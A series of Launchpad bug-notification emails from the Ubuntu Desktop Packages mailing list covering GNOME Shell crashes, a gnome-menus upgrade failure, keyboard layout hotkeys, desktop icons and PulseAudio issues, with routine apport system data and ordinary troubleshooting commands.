In progress: https://gitlab.gnome.org/GNOME/gnome- shell/merge_requests/486 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1717453 Title: Shell menus (panel, dock, window) font size does not match configured interface font size Status in GNOME Shell: Confirmed Status in gnome-shell package in Ubuntu: Triaged Bug description: Shell menus (panel, dock, window) font size does not match configured interface font size. Test case: gnome-tweak-tool > Fonts > Interface = (something different) Expected: Shell menus to use the same font size. Observed: Shell menu fonts never change. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: gnome-shell 3.25.91-0ubuntu5 ProcVersionSignature: Ubuntu 4.12.0-13.14-generic 4.12.10 Uname: Linux 4.12.0-13-generic x86_64 ApportVersion: 2.20.7-0ubuntu1 Architecture: amd64 Date: Fri Sep 15 15:17:15 2017 DisplayManager: gdm3 InstallationDate: Installed on 2017-05-03 (135 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170502) SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-shell/+bug/1717453/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833266] [NEW] gnome-keyring ftbfs in eoan (armhf only)
Public bug reported: seen with a test rebuild: https://launchpad.net/ubuntu/+archive/test-rebuild-20190614/+build/16972454 the testsuite times out. ** Affects: gnome-keyring (Ubuntu) Importance: High Status: New ** Tags: ftbfs rls-ee-incoming ** Changed in: gnome-keyring (Ubuntu) Importance: Undecided => High ** Tags added: ftbfs rls-ee-incoming -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-keyring in Ubuntu. https://bugs.launchpad.net/bugs/1833266 Title: gnome-keyring ftbfs in eoan (armhf only) Status in gnome-keyring package in Ubuntu: New Bug description: seen with a test rebuild: https://launchpad.net/ubuntu/+archive/test-rebuild-20190614/+build/16972454 the testsuite times out. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1833266/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833265] [NEW] laptop reported that there is a problem
Public bug reported: computer takes ages to start. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-52.56-generic 4.15.18 Uname: Linux 4.15.0-52-generic i686 .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.6 Architecture: i386 CompositorRunning: None Date: Tue Jun 18 15:37:29 2019 DistUpgraded: 2018-10-26 13:01:13,910 DEBUG icon theme changed, re-reading DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller (primary) [8086:2a02] (rev 03) (prog-if 00 [VGA controller]) Subsystem: Toshiba America Info Systems Mobile GM965/GL960 Integrated Graphics Controller (primary) [1179:ff64] Subsystem: Toshiba America Info Systems Mobile GM965/GL960 Integrated Graphics Controller (secondary) [1179:ff64] InstallationDate: Installed on 2016-03-15 (1190 days ago) InstallationMedia: Ubuntu 14.04.4 LTS "Trusty Tahr" - Release i386 (20160217.1) MachineType: TOSHIBA Satellite L300 ProcEnviron: LANGUAGE=en_GB:en PATH=(custom, no user) LANG=en_GB.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-52-generic root=UUID=f510ae88-8078-4876-a589-6f3bbdcc970d ro quiet splash SourcePackage: xorg UpgradeStatus: Upgraded to bionic on 2018-10-26 (235 days ago) dmi.bios.date: 05/28/2008 dmi.bios.vendor: INSYDE dmi.bios.version: 1.40 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: Base Board Product Name dmi.board.vendor: Intel Corp. dmi.board.version: Base Board Version dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnINSYDE:bvr1.40:bd05/28/2008:svnTOSHIBA:pnSatelliteL300:pvrPSLB0E-02H00SEN:rvnIntelCorp.:rnBaseBoardProductName:rvrBaseBoardVersion:cvnChassisManufacturer:ct1:cvrChassisVersion: dmi.product.family: Type1Family dmi.product.name: Satellite L300 dmi.product.version: PSLB0E-02H00SEN dmi.sys.vendor: TOSHIBA version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Fri Oct 26 09:59:10 2018 xserver.configfile: default xserver.errors: /dev/dri/card0: failed to set DRM interface version 1.4: Permission denied /dev/dri/card0: failed to set DRM interface version 1.4: Permission denied xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id 14145 vendor SEC xserver.version: 2:1.18.4-0ubuntu0.8 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: apport-bug bionic i386 ubuntu -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1833265 Title: laptop reported that there is a problem Status in xorg package in Ubuntu: New Bug description: computer takes ages to start. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-52.56-generic 4.15.18 Uname: Linux 4.15.0-52-generic i686 .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.6 Architecture: i386 CompositorRunning: None Date: Tue Jun 18 15:37:29 2019 DistUpgraded: 2018-10-26 13:01:13,910 DEBUG icon theme changed, re-reading DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller (primary) [8086:2a02] (rev 03) (prog-if 00 [VGA controller]) Subsystem: Toshiba America Info Systems Mobile GM965/GL960 Integrated Graphics Controller (primary) [1179:ff64] Subsystem: Toshiba America Info Systems Mobile GM965/GL960 Integrated Graphics Controller (secondary) [1179:ff64] InstallationDate: Installed on 2016-03-15 (1190 days ago) InstallationMedia: Ubuntu 14.04.4 LTS "Trusty Tahr" - Release i386 (20160217.1) MachineType: TOSHIBA Satellite L300 ProcEnviron: LANGUAGE=en_GB:en PATH=(custom, no user) LANG=en_GB.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-52-generic root=UUID=f510ae88-8078-4876-a589-6f3bbdcc970d ro quiet splash SourcePackage: xorg UpgradeStatus: Upgraded to bionic on 2018-10-26 (235 days ago) dmi.bios.date: 05/28/2008 dmi.bios.vendor: INSYDE dmi.bios.version: 1.40 dmi.board.asset
[Desktop-packages] [Bug 1766890] Re: package gnome-menus 3.13.3-6ubuntu3.1 failed to install/upgrade: triggers looping, abandoned
** Changed in: gnome-menus (Ubuntu) Status: Confirmed => Invalid ** Changed in: gnome-menus (Ubuntu Xenial) Status: Confirmed => Invalid ** Changed in: gnome-menus (Ubuntu Bionic) Status: Confirmed => Invalid -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-menus in Ubuntu. https://bugs.launchpad.net/bugs/1766890 Title: package gnome-menus 3.13.3-6ubuntu3.1 failed to install/upgrade: triggers looping, abandoned Status in OEM Priority Project: Fix Released Status in gnome-menus package in Ubuntu: Invalid Status in ubuntu-release-upgrader package in Ubuntu: Fix Released Status in gnome-menus source package in Xenial: Invalid Status in ubuntu-release-upgrader source package in Xenial: Invalid Status in gnome-menus source package in Bionic: Invalid Status in ubuntu-release-upgrader source package in Bionic: Fix Released Bug description: [Impact] Upgrades on some systems fail with trigger issues related to gnome-menus. Upgrading libc6 first fixes that, so we modified u-r-u to upgrade it first. [Test case] Restore apt-clone file from comment #20 and upgrade to bionic with u-r-u. [Regression potential] (1) Upgrade of libc6 fails, upgrade would revert (2) If upgrade of libc6 succeeds, but we cannot find an ordering for the remaining upgrades, we are stuck with just libc6 upgraded. It seems unlikely that we find an ordering for all packages, but none for the set without libc6 though. # Original bug report Dell XPS 13 9360 (CID 201606-22338) pre-installed (oem) image Xenial [Description] When I tried to perform 16.04 --> 18.04 update, the update process failed. The process guide me to file this bug report. [Steps to reproduce] 1. Update the system to the latest stack by "sudo apt-get update; sudo apt-get dist-upgrade -y" 2. Reboot 3. Make sure /etc/update-manager/release-upgrades is able to update (The configuration value of "Prompt" should be "lts", namely "Prompt=lts", not "Prompt=never"). 4. Perform the release update: "sudo apt-get update; sudo do-release-upgrade -d" 5. During the update process, it prompts for "Configuring gdm3". There are two choices "gdm3" and "lightdm". I picked up "gdm3". Please refer to the attachment for the prompt details as well. We should use "-d" because bionic beaver has not been officially released yet. [Expected Result] The release update completed and I could start using Bionic instead of Xenial. [Actual Result] The update process failed. It shows the error message[1] and automatically asking for filing this bug report. [1] Preparing to unpack .../qml-module-qtquick-dialogs_5.9.5-0ubuntu1_amd64.deb ... Unpacking qml-module-qtquick-dialogs:amd64 (5.9.5-0ubuntu1) over (5.5.1-1ubuntu1) ... Preparing to unpack .../qml-module-qtquick-window2_5.9.5-0ubuntu1_amd64.deb ... Unpacking qml-module-qtquick-window2:amd64 (5.9.5-0ubuntu1) over (5.5.1-2ubuntu6) ... (Reading database ... 253705 files and directories currently installed.) Removing unity-webapps-common (2.4.17+15.10.20150616-0ubuntu2) ... Removing unity-webapps-service (2.5.0~+16.04.20160201-0ubuntu1) ... Removing webapp-container (0.23+16.04.20161028-0ubuntu2) ... Removing webbrowser-app (0.23+16.04.20161028-0ubuntu2) ... dpkg: cycle found while processing triggers: chain of packages whose triggers are or may be responsible: bamfdaemon -> gnome-menus packages' pending triggers which are or may be unresolvable: gnome-menus: /usr/share/applications bamfdaemon: /usr/share/applications libglib2.0-0:amd64: /usr/share/glib-2.0/schemas desktop-file-utils: /usr/share/applications mime-support: /usr/share/applications dpkg: error processing package gnome-menus (--remove): triggers looping, abandoned Processing triggers for desktop-file-utils (0.22-1ubuntu5.1) ... Processing triggers for mime-support (3.59ubuntu1) ... Processing triggers for libglib2.0-0:amd64 (2.48.2-0ubuntu1) ... Errors were encountered while processing: gnome-menus ERROR: Cannot create report: [Errno 17] File exists: '/var/crash/gnome-menus.0.crash' Exception during pm.DoInstall(): E:Sub-process /usr/bin/dpkg returned an error code (1) *** Send problem report to the developers? After the problem report has been sent, please fill out the form in the automatically opened web browser. What would you like to do? Your options are: S: Send report (376.4 KB) V: View report K: Keep report file for sending later or copying to somewhere else I: Cancel and ignore future crashes of this program version C: Cancel Please choose (S/V/K/I/C): .. (a lot of them) qml-module-qtquick-controls2:amd64 qml-module-org-kde-kconfig:amd64 libunity-control-center1 libqt5quickcontrols2-5:amd64 libglib2.0-bin libkf5plasma5:amd64 locales qml-module-qtqml-models2:amd64
[Desktop-packages] [Bug 36812] Re: Keyboard layout change on hotkeys press instead of release and do not work well with shortcuts
** Changed in: xorg-server Status: Unknown => New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/36812 Title: Keyboard layout change on hotkeys press instead of release and do not work well with shortcuts Status in gnome-control-center: Unknown Status in X.Org X server: New Status in gnome-control-center package in Ubuntu: Invalid Status in xorg-server package in Ubuntu: Confirmed Bug description: This is a bug about shortcuts mapped to combinations which include each other. For example, if we have Ctrl+Shift (for keyboard layout) and Ctrl+Shift+N (to open a new terminal), then we are practically unable to use the second shortcut; this is what happens: Ctrl press (nothing happens) Shift press (keyboard layout change) N (a simple N appears, since a shortcut has already fired) The expected behavior is to fire shortcuts on the release (not on press) of the special keys (ctrl,shift,alt, etc) which is also how Windows behave. This is a serious problem for bilingual layouts, typically using Alt+Shift or Ctrl+Shift for keyboard layout change. For users being affected by this problem, the easiest solution for now is to add this PPA in your repositories: https://launchpad.net/~oded-geek/+archive/xorg-patches Practical summary of this bug for ubuntu developers (since reading 120 comments is impractical for most): This problem is a really old (since 2004) issue of the xkb part of xorg; the main discussion was made upstream in freedesktop-bugs #865. There has been a patch from Ilya Murav'jov for upstream (#55), and attached here (#61). Upstream xorg has refused to apply the patch, mainly because it "explicitly contradicts the (xkb) spec" (#84, #91). This patch has been reported to work for many people without any problems, and there is also a PPA by Oded Arbel (#95) where he maintains a patched version of the ubuntu xorg. The proper resolution of this bug would be to apply this patch to the upstream xorg, or at minimum to the official ubuntu xorg package. To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-control-center/+bug/36812/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832947] Re: Icons keep selected forever until explicitly deselected
Sorry, I realized the screenshot might be misleading: the "carlos" icon (the one selected) is the one matching "Home" in Nautilus, the "home" icon is just a folder with that name that happens to be un my Desktop folder. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell-extension-desktop-icons in Ubuntu. https://bugs.launchpad.net/bugs/1832947 Title: Icons keep selected forever until explicitly deselected Status in gnome-shell-extension-desktop-icons package in Ubuntu: Incomplete Bug description: Every time you click on a desktop icon to do something (open it, open the menu context, etc) the icon gets selected and the selection won't disappear until you click elsewhere in the desktop. The behavior is against the usual expectation that the thing gets selected just to carry on an action on it and don't stay selected afterwards. Indeed, opening a folder or file, opening a context menu, etc. are actions that usually don't require selection at all. It's weird having those selected icons sitting there all the time in orange. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell-extension-desktop-icons/+bug/1832947/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832947] Re: Icons keep selected forever until explicitly deselected
Hi Sebastien: * Ubuntu 19.04 * Session: ubuntu desktop (quite pure, the dock in the screenshot has just been made to shrink but it's still the builtin one). Nevertheless, as far as I can remember, this consistently happened every time I used the desktop icons extension in the past, both in Fedora and Arch, it doesn't seem to be an Ubuntu specific issue. But, still, Ubuntu is now the developer of the extension. ** Attachment added: "Screenshot from 2019-06-18 10-56-46.png" https://bugs.launchpad.net/ubuntu/+source/gnome-shell-extension-desktop-icons/+bug/1832947/+attachment/5271393/+files/Screenshot%20from%202019-06-18%2010-56-46.png -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell-extension-desktop-icons in Ubuntu. https://bugs.launchpad.net/bugs/1832947 Title: Icons keep selected forever until explicitly deselected Status in gnome-shell-extension-desktop-icons package in Ubuntu: Incomplete Bug description: Every time you click on a desktop icon to do something (open it, open the menu context, etc) the icon gets selected and the selection won't disappear until you click elsewhere in the desktop. The behavior is against the usual expectation that the thing gets selected just to carry on an action on it and don't stay selected afterwards. Indeed, opening a folder or file, opening a context menu, etc. are actions that usually don't require selection at all. It's weird having those selected icons sitting there all the time in orange. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell-extension-desktop-icons/+bug/1832947/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1818549] Re: Can't use the extensions provided by the webext-* packages
There is a separate package chromium-ublock-origin. Maybe try that one for Chromium? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1818549 Title: Can't use the extensions provided by the webext-* packages Status in browserpass package in Ubuntu: New Status in chromium-browser package in Ubuntu: Confirmed Status in ublock-origin package in Ubuntu: New Bug description: chromium-browser seems to ignore the extensions installed using the webext-* packages, e.g. webext-ublock-origin webext-browserpass The extensions simply do not show up anywhere in Chromium, while they work fine in Firefox. These webext packages are syncs from Debian, and on Debian systems they correctly show up both in Firefox and Chromium (installed using the 'chromium' Debian package). I'm running an up-to-date disco, with chromium-browser 72.0.3626.96-0ubuntu1. I didn't try with any previous version, so I don't know if the problem is a regression. Paride To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/browserpass/+bug/1818549/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833263] Re: /usr/bin/gnome-shell:11:g_str_hash:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument
*** This bug is a duplicate of bug 1762235 *** https://bugs.launchpad.net/bugs/1762235 ** This bug has been marked a duplicate of bug 1762235 gnome-shell crashed with SIGSEGV in g_hash_table_iter_init() from nm_ip_address_dup() from g_boxed_copy() -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1833263 Title: /usr/bin/gnome- shell:11:g_str_hash:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument Status in gnome-shell package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 3.28.4-0ubuntu18.04.1, the problem page at https://errors.ubuntu.com/problem/d5de4eff621a9ad0777d271a9aabf26458debf5a contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1833263/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833263] [NEW] /usr/bin/gnome-shell:11:g_str_hash:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument
*** This bug is a duplicate of bug 1762235 *** https://bugs.launchpad.net/bugs/1762235 Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 3.28.4-0ubuntu18.04.1, the problem page at https://errors.ubuntu.com/problem/d5de4eff621a9ad0777d271a9aabf26458debf5a contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: gnome-shell (Ubuntu) Importance: Undecided Status: New ** Tags: bionic -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1833263 Title: /usr/bin/gnome- shell:11:g_str_hash:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument Status in gnome-shell package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 3.28.4-0ubuntu18.04.1, the problem page at https://errors.ubuntu.com/problem/d5de4eff621a9ad0777d271a9aabf26458debf5a contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1833263/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 213149] Re: pulseaudio breaks on switching from tty7 to tty [1-6] (in and out of Gnome)
To clarify at first: It's 2019 and I am running Arch Linux with systemd... ... but I had exactly the same problem. My goal was simply to switch to another user (by Ctrl-Alt-Fx or by means of the display manager) and to keep my sound running. I finally got it to work without having to play with system mode (dangerous, unsupported) or PolicyKit (don't know anything about that). Steps: 1. Add the $USER whose PulseAudio should keep playing to the "audio" group (usermod -aG audio $USER). 2. Enable lingering for the user, so that PulseAudio starts without being logged in (loginctl enable-linger $USER). Should this work you can optionally share this user's PA to other users on the net by adding something to ~/.config/pulse/default.pa. For example: load-module module-native-protocol-tcp auth-ip-acl=127.0.0.1;192.168.0.0/24 For the "client users" just add to ~/.config/pulse/client.conf: default-server = 127.0.0.1 Maybe this works with Ubuntu, too? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/213149 Title: pulseaudio breaks on switching from tty7 to tty [1-6] (in and out of Gnome) Status in pulseaudio package in Ubuntu: Won't Fix Bug description: Binary package hint: pulseaudio lsb_release -rd Description: Ubuntu hardy (development branch) Release: 8.04 $ apt-cache policy pulseaudio pulseaudio: Installed: 0.9.9-1ubuntu4 Candidate: 0.9.9-1ubuntu4 Version table: *** 0.9.9-1ubuntu4 0 500 http://archive.ubuntu.com hardy/main Packages 100 /var/lib/dpkg/status On switching for example to tty1 from X on tty7, sound drops out when using pulseaudio ( for example in mplayer ). Using alsa as default does not produce this issue. Changing the audio output to alsa produces the expected behaviour: namely, that sound is not muted or interrupted on vt change. This bug occurs when switching in and out of X with ctrl+alt+F7, ctrl+alt+F[1-6] If sound is played from the prompt in a Vt and a switch is made to another Vt it appears not to happen. For instance, starting playback mplayer (using pulse) sound is muted on change to tty1, and returns on switching back to X on tty7. The same issue occurs with Totem and the Firefox Totem plugin. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/213149/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1422253] Re: gnome-shell crashed with SIGABRT in g_assertion_message("assertion failed: (window->display->focus_window != window)") from g_assertion_message_expr() from meta_wi
** Changed in: gnome-shell (Ubuntu)
Status: Fix Released => In Progress
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1422253
Title:
gnome-shell crashed with SIGABRT in g_assertion_message("assertion
failed: (window->display->focus_window != window)") from
g_assertion_message_expr() from meta_window_unmanage() from
handle_other_xevent()
Status in Mutter:
New
Status in gnome-shell package in Ubuntu:
In Progress
Status in mutter package in Ubuntu:
In Progress
Status in mutter source package in Bionic:
Triaged
Bug description:
https://errors.ubuntu.com/problem/868da6d40640c1199f496b7af7e37e54871ed8d7
https://errors.ubuntu.com/problem/9b0e145ca11443bc44b35a2050317dd51f5ab5c5
Upstream issue: https://gitlab.gnome.org/GNOME/mutter/issues/15
New issue (same stacktrace) is
https://gitlab.gnome.org/GNOME/mutter/issues/308
[ Description ]
Was running 3 programs at time of crash, PROGRAM 1. Nautilus with no
tabs open, PROGRAM 2. Firefox v.34.0 with 3 tabs open (1.
https://twitter.com/ - 2.
http://www.scons.org/wiki/FrequentlyAskedQuestions#What_is_SCons.3F -
PROGRAM 3. http://scons.org/download.php) Synaptic Package Manager ver
0.81.3 installing Scons & Scons-doc - crash happened while synaptic
was in process of installing programs (downloads were complete &
actual install was in progress)
[ Test case ]
1. Run one of the reproducer test (python or gjs version) available at:
https://gitlab.gnome.org/GNOME/mutter/issues/15
2. when that close, g-s should not crash
[ Regression potential ]
Possible break for windows that have the grab but are not the active
ones.
ProblemType: CrashDistroRelease: Ubuntu 15.04
Package: gnome-shell 3.14.3-0ubuntu2
ProcVersionSignature: Ubuntu 3.18.0-13.14-generic 3.18.5
Uname: Linux 3.18.0-13-generic x86_64
NonfreeKernelModules: openafs
ApportVersion: 2.16.1-0ubuntu2
Architecture: amd64
CrashCounter: 1
CurrentDesktop: GNOME
Date: Mon Feb 16 01:20:05 2015
DisplayManager: gdm
ExecutablePath: /usr/bin/gnome-shell
GsettingsChanges:
b'org.gnome.desktop.interface' b'gtk-im-module' b"'gtk-im-context-simple'"
b'org.gnome.desktop.interface' b'clock-format' b"'12h'"
b'org.gnome.desktop.interface' b'clock-show-date' b'true'
InstallationDate: Installed on 2015-01-26 (21 days ago)
InstallationMedia: Ubuntu-GNOME 15.04 "Vivid Vervet" - Alpha amd64
(20150120.1)
ProcCmdline: /usr/bin/gnome-shell
ProcEnviron:
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=en_US.UTF-8
SHELL=/bin/bashSignal: 6SourcePackage: gnome-shell
StacktraceTop:
g_assertion_message () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
g_assertion_message_expr () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
meta_window_unmanage () from /usr/lib/libmutter.so.0
?? () from /usr/lib/libmutter.so.0
?? () from /usr/lib/libmutter.so.0
Title: gnome-shell crashed with SIGABRT in g_assertion_message()
UpgradeStatus: No upgrade log present (probably fresh install)
UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
To manage notifications about this bug go to:
https://bugs.launchpad.net/mutter/+bug/1422253/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1791574] Re: gnome-shell crashed with SIGABRT: assertion failed "window->display->focus_window != window" in meta_window_unmanage
*** This bug is a duplicate of bug 1422253 ***
https://bugs.launchpad.net/bugs/1422253
** This bug has been marked a duplicate of bug 1422253
gnome-shell crashed with SIGABRT in g_assertion_message("assertion failed:
(window->display->focus_window != window)") from g_assertion_message_expr()
from meta_window_unmanage() from handle_other_xevent()
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1791574
Title:
gnome-shell crashed with SIGABRT: assertion failed
"window->display->focus_window != window" in meta_window_unmanage
Status in gnome-shell package in Ubuntu:
In Progress
Bug description:
https://errors.ubuntu.com/problem/9b0e145ca11443bc44b35a2050317dd51f5ab5c5
Upstream issue (reopened): https://gitlab.gnome.org/GNOME/mutter/issues/15
Originally reported as bug 1422253 and fixed in 18.04, but that crash
(fixed) was due to a different condition.
Test case: https://gitlab.gnome.org/3v1n0/mutter/snippets/453
---
gnome-shell crashed and restarted while I was using it.
ProblemType: CrashDistroRelease: Ubuntu 18.10
Package: gnome-shell 3.30.0-1ubuntu1
Uname: Linux 4.19.0-041900rc3-generic x86_64
ApportVersion: 2.20.10-0ubuntu9
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Mon Sep 10 12:39:16 2018
DisplayManager: gdm3
EcryptfsInUse: Yes
ExecutablePath: /usr/bin/gnome-shell
ExecutableTimestamp: 1536081658
InstallationDate: Installed on 2017-08-16 (389 days ago)
InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
ProcCmdline: /usr/bin/gnome-shell
ProcCwd: /home/rocko
ProcEnviron:
LANGUAGE=en_AU:en
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=en_AU.UTF-8
SHELL=/bin/bashSignal: 6SourcePackage: gnome-shell
StacktraceTop:
() at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
g_assertion_message_expr () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
meta_window_unmanage () at /usr/lib/x86_64-linux-gnu/libmutter-3.so.0
() at /usr/lib/x86_64-linux-gnu/libmutter-3.so.0
() at /usr/lib/x86_64-linux-gnu/libmutter-3.so.0
Title: gnome-shell crashed with SIGABRT
UpgradeStatus: Upgraded to cosmic on 2018-08-15 (25 days ago)
UserGroups: adm bumblebee cdrom dip kvm lpadmin plugdev sambashare sudo
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1791574/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1795948] Re: gnome-shell crashed with SIGABRT in __GI_raise()
*** This bug is a duplicate of bug 1422253 ***
https://bugs.launchpad.net/bugs/1422253
** This bug is no longer a duplicate of bug 1791574
gnome-shell crashed with SIGABRT: assertion failed
"window->display->focus_window != window" in meta_window_unmanage
** This bug has been marked a duplicate of bug 1422253
gnome-shell crashed with SIGABRT in g_assertion_message("assertion failed:
(window->display->focus_window != window)") from g_assertion_message_expr()
from meta_window_unmanage() from handle_other_xevent()
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1795948
Title:
gnome-shell crashed with SIGABRT in __GI_raise()
Status in gnome-shell package in Ubuntu:
New
Bug description:
I was doing a project-wide find-and-replace in PHPStorm and the
underlying java process probably consumed a metric crap-ton of RAM +
CPU on my machine since the underlying files were a typical javascript
dist file which weighs more than a neutron star. Ubuntu auto-recovered
the desktop and I was able to continue my work -- so no harm, no
foul... just glitchy.
